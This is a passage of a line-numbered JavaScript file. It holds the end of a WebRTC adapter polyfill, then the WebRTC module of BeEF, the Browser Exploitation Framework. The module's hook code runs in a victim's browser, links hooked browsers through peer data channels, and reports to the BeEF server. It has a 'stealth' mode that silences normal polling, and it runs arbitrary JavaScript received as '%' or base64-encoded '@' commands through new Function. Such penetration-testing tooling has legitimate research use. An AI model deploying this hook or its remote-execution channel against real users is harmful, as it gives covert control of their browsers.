11526 enumerateDevices: function() {
11527 return new Promise(function(resolve) {
11528 var kinds = {audio: 'audioinput', video: 'videoinput'};
11529 return MediaStreamTrack.getSources(function(devices) {
11530 resolve(devices.map(function(device) {
11531 return {label: device.label,
11532 kind: kinds[device.kind],
11533 deviceId: device.id,
11534 groupId: ''};
11535 }));
11536 });
11537 });
11538 }};
11539 // in case someone wants to listen for the devicechange event.
11540 navigator.mediaDevices.addEventListener = function() { };
11541 navigator.mediaDevices.removeEventListener = function() { };
11542 }
11543} else if (navigator.mediaDevices && navigator.userAgent.match(
11544 /Edge\/(\d+).(\d+)$/)) {
11545 webrtcDetectedBrowser = 'edge';
11546
11547 webrtcDetectedVersion =
11548 parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2], 10);
11549
11550 // the minimum version still supported by adapter.
11551 webrtcMinimumVersion = 12;
11552
11553 attachMediaStream = function(element, stream) {
11554 element.srcObject = stream;
11555 };
11556 reattachMediaStream = function(to, from) {
11557 to.srcObject = from.srcObject;
11558 };
11559} else {
11560 // console.log('Browser does not appear to be WebRTC-capable');
11561}
11562
11563// Returns the result of getUserMedia as a Promise.
11564function requestUserMedia(constraints) {
11565 return new Promise(function(resolve, reject) {
11566 getUserMedia(constraints, resolve, reject);
11567 });
11568}
11569
11570if (typeof module !== 'undefined') {
11571 module.exports = {
11572 RTCPeerConnection: window.RTCPeerConnection,
11573 getUserMedia: getUserMedia,
11574 attachMediaStream: attachMediaStream,
11575 reattachMediaStream: reattachMediaStream,
11576 webrtcDetectedBrowser: webrtcDetectedBrowser,
11577 webrtcDetectedVersion: webrtcDetectedVersion,
11578 webrtcMinimumVersion: webrtcMinimumVersion
11579 //requestUserMedia: not exposed on purpose.
11580 //trace: not exposed on purpose.
11581 };
11582} else if ((typeof require === 'function') && (typeof define === 'function')) {
11583 // Expose objects and functions when RequireJS is doing the loading.
11584 define([], function() {
11585 return {
11586 RTCPeerConnection: window.RTCPeerConnection,
11587 getUserMedia: getUserMedia,
11588 attachMediaStream: attachMediaStream,
11589 reattachMediaStream: reattachMediaStream,
11590 webrtcDetectedBrowser: webrtcDetectedBrowser,
11591 webrtcDetectedVersion: webrtcDetectedVersion,
11592 webrtcMinimumVersion: webrtcMinimumVersion
11593 //requestUserMedia: not exposed on purpose.
11594 //trace: not exposed on purpose.
11595 };
11596 });
11597}
11598
11599
11600//
11601// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
11602// Browser Exploitation Framework (BeEF) - http://beefproject.com
11603// See the file 'doc/COPYING' for copying permission
11604//
11605
11606
11607/**
11608 * @Literal object: beef.webrtc
11609 *
11610 * Manage the WebRTC peer to peer communication channels.
11611 * This objects contains all the necessary client-side WebRTC components,
11612 * allowing browsers to use WebRTC to communicate with each other.
11613 * To provide signaling, the WebRTC extension sets up custom listeners.
11614 * /rtcsignal - for sending RTC signalling information between peers
11615 * /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
11616 *
11617 * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
11618 * the signalling.
11619 *
11620 * This is all mostly a Proof of Concept
11621 */
11622
11623beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
11624 // The key is the peer id
11625globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
11626 // these objects persist outside of everything else
11627 // The key is the peer id
11628rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
11629 // false - i.e not stealthed; or
11630 // <peerid> - i.e. the id of the browser which initiated stealth mode
11631rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
11632 // The key is the peer id
11633
11634// Beefwebrtc object - wraps everything together for a peer connection
11635// One of these per peer connection, and will be stored in the beefrtc global hash
11636function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
11637 this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
11638 this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
11639 this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
11640 this.turnjson = turnjson; // set of TURN servers in the format:
11641 // {"username": "<username", "password": "<password>", "uris": [
11642 // "turn:<ip>:<port>?transport=<udp/tcp>",
11643 // "turn:<ip>:<port>?transport=<udp/tcp>"]}
11644 this.started = false; // Has signaling / dialing started for this peer
11645 this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the
11646
11647receiver
11648 this.turnDone = false; // does the pcConfig have TURN servers added to it?
11649 this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
11650 // the receiver will set this to true once it receives an SDP 'offer'
11651 this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for
11652
11653them
11654 this.pcConfig = null; // We set this during init
11655 this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
11656 this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
11657 this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and
11658
11659receiver
11660 this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
11661 this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
11662 this.dataChannel = null; // The data channel used by this peer
11663 this.stunservers = stunservers; // set of STUN servers, in the format:
11664 // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
11665}
11666
11667// Initialize the object
11668Beefwebrtc.prototype.initialize = function() {
11669 if (this.peerid == null) {
11670 return 0; // no peerid - NO DICE
11671 }
11672
11673 // Initialise the pcConfig hash with the provided stunservers
11674 var stuns = JSON.parse(this.stunservers);
11675 this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
11676 "credential":"pass"}]};
11677
11678 // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
11679 // this.forceTurn(this.turnjson);
11680 this.turnDone = true;
11681
11682 // Caller is always ready to create peerConnection.
11683 this.signalingReady = this.initiator;
11684
11685 // Start .. maybe
11686 this.maybeStart();
11687
11688 // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
11689 // window.onbeforeunload = function() {
11690 // this.sendSignalMsg({type: 'bye'});
11691 // }
11692
11693 return 1; // because .. yeah .. we had a peerid - this is good yar.
11694}
11695
11696//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
11697//These values are now simply passed in from the config.yaml for the webrtc extension
11698Beefwebrtc.prototype.forceTurn = function(jason) {
11699 var turnServer = JSON.parse(jason);
11700 var iceServers = createIceServers(turnServer.uris,
11701 turnServer.username,
11702 turnServer.password);
11703 if (iceServers !== null) {
11704 this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
11705 }
11706 beef.debug("Got TURN servers, will try and maybestart again..");
11707 this.turnDone = true;
11708 this.maybeStart();
11709}
11710
11711// Try and establish the RTC connection
11712Beefwebrtc.prototype.createPeerConnection = function() {
11713 beef.debug('Creating RTCPeerConnnection with the following options:\n' +
11714 ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
11715 ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
11716 try {
11717 // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
11718 globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
11719 globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
11720 beef.debug('Created RTCPeerConnnection with the following options:\n' +
11721 ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
11722 ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
11723
11724 } catch (e) {
11725 beef.debug('Failed to create PeerConnection, exception: ');
11726 beef.debug(e);
11727 return;
11728 }
11729
11730 // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
11731 globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
11732 globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
11733 globalrtc[this.peerid].ondatachannel = this.onDataChannel;
11734 this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
11735}
11736
11737// When the PeerConnection receives a new ICE Candidate
11738Beefwebrtc.prototype.onIceCandidate = function(event) {
11739 var peerid = null;
11740
11741 for (var k in beefrtcs) {
11742 if (beefrtcs[k].allgood === false) {
11743 peerid = beefrtcs[k].peerid;
11744 }
11745 }
11746
11747 beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
11748 beef.debug(event);
11749
11750 if (event.candidate) {
11751 // Send the candidate to the peer via the BeEF signalling channel
11752 beefrtcs[peerid].sendSignalMsg({type: 'candidate',
11753 label: event.candidate.sdpMLineIndex,
11754 id: event.candidate.sdpMid,
11755 candidate: event.candidate.candidate});
11756 // Note this ICE candidate locally
11757 beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
11758 } else {
11759 beef.debug('End of candidates.');
11760 }
11761}
11762
11763// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this
11764
11765function
11766// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call
11767
11768processSignalingMessage
11769// against the message directly
11770Beefwebrtc.prototype.processMessage = function(message) {
11771 beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
11772 var msg = JSON.parse(message);
11773
11774 if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP
11775
11776Offer
11777 beef.debug('processing the message, as a receiver');
11778 if (msg.type === 'offer') { // This IS an SDP Offer
11779 beef.debug('.. and the message is an offer .. ');
11780 this.msgQueue.unshift(msg); // put it on the top of the msgqueue
11781 this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
11782 this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
11783 } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
11784 beef.debug(' .. the message is NOT an offer .. ');
11785 this.msgQueue.push(msg);
11786 }
11787 } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the
11788
11789SDP Answer
11790 beef.debug('processing the message, as the sender, no answers yet');
11791 if (msg.type === 'answer') { // This IS an SDP Answer
11792 beef.debug('.. and we have an answer ..');
11793 this.processSignalingMessage(msg); // Process the message directly
11794 this.gotanswer = true; // We have now received an answer
11795 //process all other queued message...
11796 while (this.msgQueue.length > 0) {
11797 this.processSignalingMessage(this.msgQueue.shift());
11798 }
11799 } else { // This is NOT an SDP Answer - as the caller, just add it to the queue
11800 beef.debug('.. not an answer ..');
11801 this.msgQueue.push(msg);
11802 }
11803 } else { // For all other messages just drop them in the queue
11804 beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
11805 this.processSignalingMessage(msg);
11806 }
11807}
11808
11809// Send a signalling message ..
11810Beefwebrtc.prototype.sendSignalMsg = function(message) {
11811 var msgString = JSON.stringify(message);
11812 beef.debug('Signalling Message - C->S: ' + msgString);
11813 beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
11814}
11815
11816// Used to record ICS candidates locally
11817Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
11818 if (this.gatheredIceCandidateTypes[location][type])
11819 return;
11820 this.gatheredIceCandidateTypes[location][type] = 1;
11821 // updateInfoDiv();
11822}
11823
11824// When the signalling state changes. We don't actually do anything with this except log it.
11825Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
11826 beef.debug("Signalling has changed to: " + event.target.signalingState);
11827}
11828
11829// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
11830Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
11831 var peerid = null;
11832
11833 for (k in globalrtc) {
11834 if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc
11835
11836[k].localDescription.type === event.target.localDescription.type)) {
11837 peerid = k;
11838 }
11839 }
11840
11841 beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
11842
11843 // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready!
11844
11845Although may still look for
11846 // better candidates or connections
11847 if (event.target.iceConnectionState === 'connected') {
11848 //Send status to peer
11849 window.setTimeout(function() {
11850 beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
11851 beefrtcs[peerid].allgood = true;
11852 },1000);
11853 }
11854
11855 // Completed is similar to connected. Except, each of the ICE components are good, and no more testing
11856
11857remote candidates is done.
11858 if (event.target.iceConnectionState === 'completed') {
11859 window.setTimeout(function() {
11860 beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
11861 beefrtcs[peerid].allgood = true;
11862 },1000);
11863 }
11864
11865 if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
11866 //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
11867 rtcstealth = false;
11868 beefrtcs[peerid].allgood = false;
11869 beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
11870 } else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
11871 //I was not in stealth, and this peer has gone offline - send a message
11872 beefrtcs[peerid].allgood = false;
11873 beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
11874 }
11875 // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into
11876
11877stealth
11878 // This is possibly a bad idea - @xntrik
11879
11880
11881}
11882
11883// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
11884Beefwebrtc.prototype.goStealth = function() {
11885 //stop the beef updater
11886 rtcstealth = this.peerid; // this is a global variable
11887 beef.updater.lock = true;
11888 this.sendPeerMsg('Going into stealth mode');
11889
11890 setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
11891}
11892
11893// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
11894rtcpollPeer = function() {
11895 if (rtcstealth == false) {
11896 //my peer has disabled stealth mode
11897 beef.updater.lock = false;
11898 return;
11899 }
11900
11901 beef.debug('lub dub');
11902
11903 beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made
11904
11905us stealth
11906
11907 setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
11908}
11909
11910// When a data channel has been established - within here is the message handling function as well
11911Beefwebrtc.prototype.onDataChannel = function(event) {
11912 var peerid = null;
11913 for (k in globalrtc) {
11914 if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc
11915
11916[k].localDescription.type === event.currentTarget.localDescription.type)) {
11917 peerid = k;
11918 }
11919 }
11920
11921 beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
11922 rtcrecvchan[peerid] = event.channel;
11923
11924 // This is the onmessage event handling within the datachannel
11925 rtcrecvchan[peerid].onmessage = function(ev2) {
11926 beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
11927
11928 // We've received the command to go into stealth mode
11929 if (ev2.data == "!gostealth") {
11930 if (beef.updater.lock == true) {
11931 setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
11932 } else {
11933 beefrtcs[peerid].goStealth();
11934 }
11935
11936 // The message to come out of stealth
11937 } else if (ev2.data == "!endstealth") {
11938
11939 if (rtcstealth != null) {
11940 beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
11941 rtcstealth = false;
11942 }
11943
11944 // Command to perform arbitrary JS (while stealthed)
11945 } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
11946 beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
11947 beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring
11948
11949(1)));
11950
11951 // Command to perform arbitrary JS (while NOT stealthed)
11952 } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
11953 beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
11954 beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
11955
11956 // B64d command from the /cmdexec API
11957 } else if (ev2.data.charAt(0) == "@") {
11958 beef.debug('message was a b64d command');
11959
11960 var fn = new Function(atob(ev2.data.substring(1)));
11961 fn();
11962 if (rtcstealth != false) { // force stealth back on ?
11963 beef.updater.execute_commands(); // FORCE execution while stealthed
11964 beef.updater.lock = true;
11965 }
11966
11967
11968 // Just a plain text message .. (while stealthed)
11969 } else if (rtcstealth != false) {
11970 beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
11971 beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
11972
11973 // Just a plan text message (while NOT stealthed)
11974 } else {
11975 beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
11976 beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
11977 }
11978 }
11979}
11980
11981// How the browser executes received JS (this is pretty hacky)
11982Beefwebrtc.prototype.execCmd = function(input) {
11983 var fn = new Function(input);
11984 var res = fn();
11985 return res.toString();
11986}
11987
11988// Shortcut function to SEND a data messsage
11989Beefwebrtc.prototype.sendPeerMsg = function(msg) {
11990 beef.debug('sendPeerMsg to ' + this.peerid);
11991 this.dataChannel.send(msg);
11992}
11993
11994// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are
11995
11996ready
11997Beefwebrtc.prototype.maybeStart = function() {
11998 beef.debug("maybe starting ... ");
11999
12000 if (!this.started && this.signalingReady && this.turnDone) {
12001 beef.debug('Creating PeerConnection.');
12002 this.createPeerConnection();
12003
12004 this.started = true;
12005
12006 if (this.initiator) {
12007 beef.debug("Making the call now .. bzz bzz");
12008 this.doCall();
12009 } else {
12010 beef.debug("Receiving a call now .. somebuddy answer da fone?");
12011 this.calleeStart();
12012 }
12013
12014 } else {
12015 beef.debug("Not ready to start just yet..");
12016 }
12017}
12018
12019// RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
12020Beefwebrtc.prototype.doCall = function() {
12021 var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
12022 var self = this;
12023 globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError,
12024
12025constraints);
12026 beef.debug('Sending offer to peer, with constraints: \n' +
12027 ' \'' + JSON.stringify(constraints) + '\'.');
12028}
12029
12030// Helper method to merge SDP constraints
12031Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
12032 var merged = cons1;
12033 for (var name in cons2.mandatory) {
12034 merged.mandatory[name] = cons2.mandatory[name];
12035 }
12036 merged.optional.concat(cons2.optional);
12037 return merged;
12038}
12039
12040// Sets the local RTC session description, sends this information back (via signalling)
12041// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
12042// The receiver uses this information too - and vice-versa - hence the signaling
12043Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
12044 // This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
12045 // Stupid .. javascript :(
12046 // So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
12047 // i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the
12048
12049next one..
12050 var peerid = null;
12051
12052 for (var k in beefrtcs) {
12053 if (beefrtcs[k].allgood === false) {
12054 peerid = beefrtcs[k].peerid;
12055 }
12056 }
12057 beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
12058
12059 globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess,
12060
12061onSetSessionDescriptionError);
12062 beefrtcs[peerid].sendSignalMsg(sessionDescription);
12063
12064 function onSetSessionDescriptionSuccess() {
12065 beef.debug('Set session description success.');
12066 }
12067
12068 function onSetSessionDescriptionError() {
12069 beef.debug('Failed to set session description');
12070 }
12071}
12072
12073// If the browser can't build an SDP
12074Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
12075 beef.debug('Failed to create session description: ' + error.toString());
12076}
12077
12078// If the browser successfully sets a remote description
12079Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
12080 beef.debug('Set remote session description successfully');
12081}
12082
12083// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
12084Beefwebrtc.prototype.calleeStart = function() {
12085 // Callee starts to process cached offer and other messages.
12086 while (this.msgQueue.length > 0) {
12087 this.processSignalingMessage(this.msgQueue.shift());
12088 }
12089}
12090
12091// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
12092Beefwebrtc.prototype.processSignalingMessage = function(message) {
12093 if (!this.started) {
12094 beef.debug('peerConnection has not been created yet!');
12095 return;
12096 }
12097
12098 if (message.type === 'offer') {
12099 beef.debug("Processing signalling message: OFFER");
12100 if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
12101 // version of FF - which no longer works
12102 beef.debug("Moz shim here");
12103 globalrtc[this.peerid].setRemoteDescription(
12104 new RTCSessionDescription(message),
12105 function() {
12106 // globalrtc[this.peerid].createAnswer(function(answer) {
12107 // globalrtc[this.peerid].setLocalDescription(
12108
12109 var peerid = null;
12110
12111 for (var k in beefrtcs) {
12112 if (beefrtcs[k].allgood === false) {
12113 peerid = beefrtcs[k].peerid;
12114 }
12115 }
12116
12117 globalrtc[peerid].createAnswer(function(answer) {
12118 globalrtc[peerid].setLocalDescription(
12119 new RTCSessionDescription(answer),
12120 function() {
12121 beefrtcs[peerid].sendSignalMsg(answer);
12122 },function(error) {
12123 beef.debug("setLocalDescription error: " + error);
12124 });
12125 },function(error) {
12126 beef.debug("createAnswer error: " +error);
12127 });
12128 },function(error) {
12129 beef.debug("setRemoteDescription error: " + error);
12130 });
12131
12132 } else {
12133 this.setRemote(message);
12134 this.doAnswer();
12135 }
12136 } else if (message.type === 'answer') {
12137 beef.debug("Processing signalling message: ANSWER");
12138 if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
12139 beef.debug("Moz shim here");
12140 globalrtc[this.peerid].setRemoteDescription(
12141 new RTCSessionDescription(message),
12142 function() {},
12143 function(error) {
12144 beef.debug("setRemoteDescription error: " + error);
12145 });
12146 } else {
12147 this.setRemote(message);
12148 }
12149 } else if (message.type === 'candidate') {
12150 beef.debug("Processing signalling message: CANDIDATE");
12151 var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
12152 candidate: message.candidate});
12153 this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
12154 globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess,
12155
12156this.onAddIceCandidateError);
12157 } else if (message.type === 'bye') {
12158 this.onRemoteHangup();
12159 }
12160}
12161
12162// Used to set the RTC remote session
12163Beefwebrtc.prototype.setRemote = function(message) {
12164 globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
12165 this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
12166}
12167
12168// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we
12169
12170answer, as below
12171Beefwebrtc.prototype.doAnswer = function() {
12172 beef.debug('Sending answer to peer.');
12173 globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError,
12174
12175this.sdpConstraints);
12176}
12177
12178// Helper method to determine what kind of ICE Candidate we've received
12179Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
12180 if (candidateSDP.indexOf("typ relay ") >= 0)
12181 return "TURN";
12182 if (candidateSDP.indexOf("typ srflx ") >= 0)
12183 return "STUN";
12184 if (candidateSDP.indexOf("typ host ") >= 0)
12185 return "HOST";
12186 return "UNKNOWN";
12187}
12188
12189// Event handler for successful addition of ICE Candidates
12190Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
12191 beef.debug('AddIceCandidate success.');
12192}
12193
12194// Event handler for unsuccessful addition of ICE Candidates
12195Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
12196 beef.debug('Failed to add Ice Candidate: ' + error.toString());
12197}
12198
12199// If a peer hangs up (we bring down the peerconncetion via the stop() method)
12200Beefwebrtc.prototype.onRemoteHangup = function() {
12201 beef.debug('Session terminated.');
12202 this.initiator = 0;
12203 // transitionToWaiting();
12204 this.stop();
12205}
12206
12207// Bring down the peer connection
12208Beefwebrtc.prototype.stop = function() {
12209 this.started = false; // we're no longer started
12210 this.signalingReady = false; // signalling isn't ready
12211 globalrtc[this.peerid].close(); // close the RTCPeerConnection option
12212 globalrtc[this.peerid] = null; // Remove it
12213 this.msgQueue.length = 0; // clear the msgqueue
12214 rtcstealth = false; // no longer stealth
12215 this.allgood = false; // allgood .. NAH UH
12216}
12217
12218// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
12219// These are the methods which are executed via the custom extension of the hook.js
12220beef.webrtc = {
12221 // Start the RTCPeerConnection process
12222 start: function(initiator,peer,turnjson,stunservers,verbose) {
12223 if (peer in beefrtcs) {
12224 // If the RTC peer is not in a good state, try kickng it off again
12225 // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects
12226
12227:/
12228 if (beefrtcs[peer].allgood == false) {
12229 beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
12230 beefrtcs[peer].initialize();
12231 }
12232 } else {
12233 // Standard behaviour for new peer connections
12234 beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
12235 beefrtcs[peer].initialize();
12236 }
12237 },
12238
12239 // Check the status of all my peers ..
12240 status: function(me) {
12241 if (Object.keys(beefrtcs).length > 0) {
12242 for (var k in beefrtcs) {
12243 if (beefrtcs.hasOwnProperty(k)) {
12244 beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
12245 }
12246 }
12247 } else {
12248 beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
12249 }
12250 }
12251}
12252beef.regCmp('beef.webrtc');
12253
12254
12255//
12256// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
12257// Browser Exploitation Framework (BeEF) - http://beefproject.com
12258// See the file 'doc/COPYING' for copying permission
12259//
12260
12261/*
12262 Sometimes there are timing issues and looks like beef_init
12263 is not called at all (always in cross-origin situations,
12264 for example calling the hook with jquery getScript,
12265 or sometimes with event handler injections).
12266
12267 To fix this, we call again beef_init after 1 second.
12268 Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
12269 antisnatchor
12270 */
12271//setTimeout(beef_init, 1000);